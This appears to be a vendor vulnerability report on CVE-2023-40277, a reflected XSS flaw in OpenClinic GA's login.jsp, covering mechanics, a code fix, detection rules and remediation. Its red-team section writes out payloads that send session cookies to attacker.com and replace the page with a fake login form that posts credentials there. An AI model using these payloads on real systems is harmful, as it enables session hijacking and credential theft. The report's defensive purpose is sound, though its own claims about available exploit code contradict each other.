CVE-2023-40277
Executive Summary
CVE-2023-40277 is a Reflected Cross-Site Scripting (XSS) vulnerability discovered in OpenClinic GA version 5.247.01. The flaw resides in the login.jsp page, specifically within the message parameter. An attacker can inject arbitrary JavaScript code via this parameter, which is then reflected back to the user's browser without proper sanitization or encoding. This allows for session hijacking, credential theft, or redirection to malicious sites. The vulnerability has a CVSS score of 0.0 in the NVD, but this is likely a placeholder; the actual impact is medium to high depending on the application's security context. No official patch has been released, and no exploit code is publicly available in Exploit-DB or GitHub.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone web application vulnerability in OpenClinic GA.
CVSS Breakdown & Threat Level
The NVD has assigned a CVSS score of 0.0, which is likely an error or placeholder. Based on the vulnerability type (Reflected XSS), a more realistic CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): Required (R)
- Scope (S): Changed (C)
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 6.1 (Medium)
Threat Level: Medium. Exploitation requires user interaction (clicking a crafted link), but the impact can be significant if an administrative user is targeted.
Deep Dive & Mechanics
The vulnerability is a classic Reflected XSS. The login.jsp page accepts a message parameter via HTTP GET or POST. This parameter is intended to display status messages (e.g., "Login failed"). However, the application does not sanitize or encode the input before rendering it in the HTML response.
Attack Flow:
- An attacker crafts a malicious URL:
https://target/login.jsp?message=<script>alert('XSS')</script> - The attacker sends this link to a victim (e.g., via phishing email).
- The victim clicks the link while authenticated (or not) to OpenClinic.
- The server reflects the
messageparameter value directly into the HTML without encoding. - The victim's browser executes the injected script.
- The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Root Cause: Lack of output encoding for user-controlled input in the message parameter.
Vulnerable vs. Patched Code
Vulnerable Code (login.jsp):
<%
String message = request.getParameter("message");
if (message != null) {
out.println("<div class='message'>" + message + "</div>");
}
%>
Patched Code (login.jsp):
<%@ page import="org.owasp.encoder.Encode" %>
<%
String message = request.getParameter("message");
if (message != null) {
out.println("<div class='message'>" + Encode.forHtml(message) + "</div>");
}
%>
The patched version uses OWASP Encoder (or similar) to HTML-encode the message parameter, preventing script execution.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- OpenClinic GA 5.247.01 running on a target server.
- A victim user who will click the crafted link.
Exploit Steps:
- Craft a malicious URL:
http://target/login.jsp?message=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Send the link to the victim via email or social engineering.
- When the victim clicks, their session cookie is sent to the attacker's server.
- The attacker can then use the cookie to hijack the session.
Example Payload (Steal Cookie):
<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie;</script>
Example Payload (Phishing):
<script>document.body.innerHTML='<form method=post action=http://attacker.com/creds><input name=user><input name=pass type=password><input type=submit></form>';</script>
Blue Team (Defense & Detection)
Detection Steps:
- Monitor web server logs for requests to
/login.jspwith amessageparameter containing<script>or other HTML tags. - Use a Web Application Firewall (WAF) to block requests with suspicious
messageparameters. - Implement Content Security Policy (CSP) headers to restrict script execution.
Lab Setup for Testing:
- Install OpenClinic GA 5.247.01 in a controlled environment.
- Use a browser with developer tools to inspect the response.
- Send a test payload:
http://localhost/login.jsp?message=<script>alert(1)</script> - Observe the alert box, confirming the XSS.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/login.jspwith amessageparameter containing<script>,onerror,onload, or other event handlers. - Outbound connections to unknown IPs or domains from the OpenClinic server (if cookie exfiltration occurs).
File IOCs:
- Modified
login.jspfile (if attacker gains access). - Suspicious entries in web server access logs (e.g.,
GET /login.jsp?message=%3Cscript%3E).
Log IOCs:
- Web server logs showing
messageparameter with encoded or raw HTML/JavaScript.
Detection Engineering
YARA Rule
rule Detect_OpenClinic_XSS_MessageParam {
meta:
description = "Detects reflected XSS attempts against OpenClinic GA login.jsp message parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-40277"
strings:
$xss_pattern1 = /login\.jsp\?message=.*<script/i
$xss_pattern2 = /login\.jsp\?message=.*onerror/i
$xss_pattern3 = /login\.jsp\?message=.*onload/i
condition:
any of them
}
Sigma Rule
title: OpenClinic GA Reflected XSS in login.jsp message Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to OpenClinic GA login.jsp with suspicious message parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'login.jsp?message='
cs-uri-query|re: '(<script|onerror|onload|javascript:)'
condition: selection
falsepositives:
- Legitimate use of message parameter with safe text (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-40277 OpenClinic GA Reflected XSS Attempt"; flow:to_server,established; content:"login.jsp"; http_uri; content:"message="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Sanitize the
messageparameter to allow only alphanumeric characters and safe punctuation. - Output Encoding: Use HTML entity encoding (e.g., OWASP Java Encoder) when rendering the
messageparameter in the JSP. - WAF Rules: Deploy a WAF rule to block requests with HTML/JavaScript in the
messageparameter. - CSP Header: Add a Content Security Policy header that restricts script execution (e.g.,
script-src 'self').
Long-Term Fix:
- Upgrade to a patched version of OpenClinic GA if available.
- Conduct a full security audit of the application for similar vulnerabilities.
Workaround:
- If patching is not possible, disable the
messageparameter functionality or replace it with a server-side session attribute that does not reflect user input.
Report generated by Valters IT DevSecOps & CTI Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.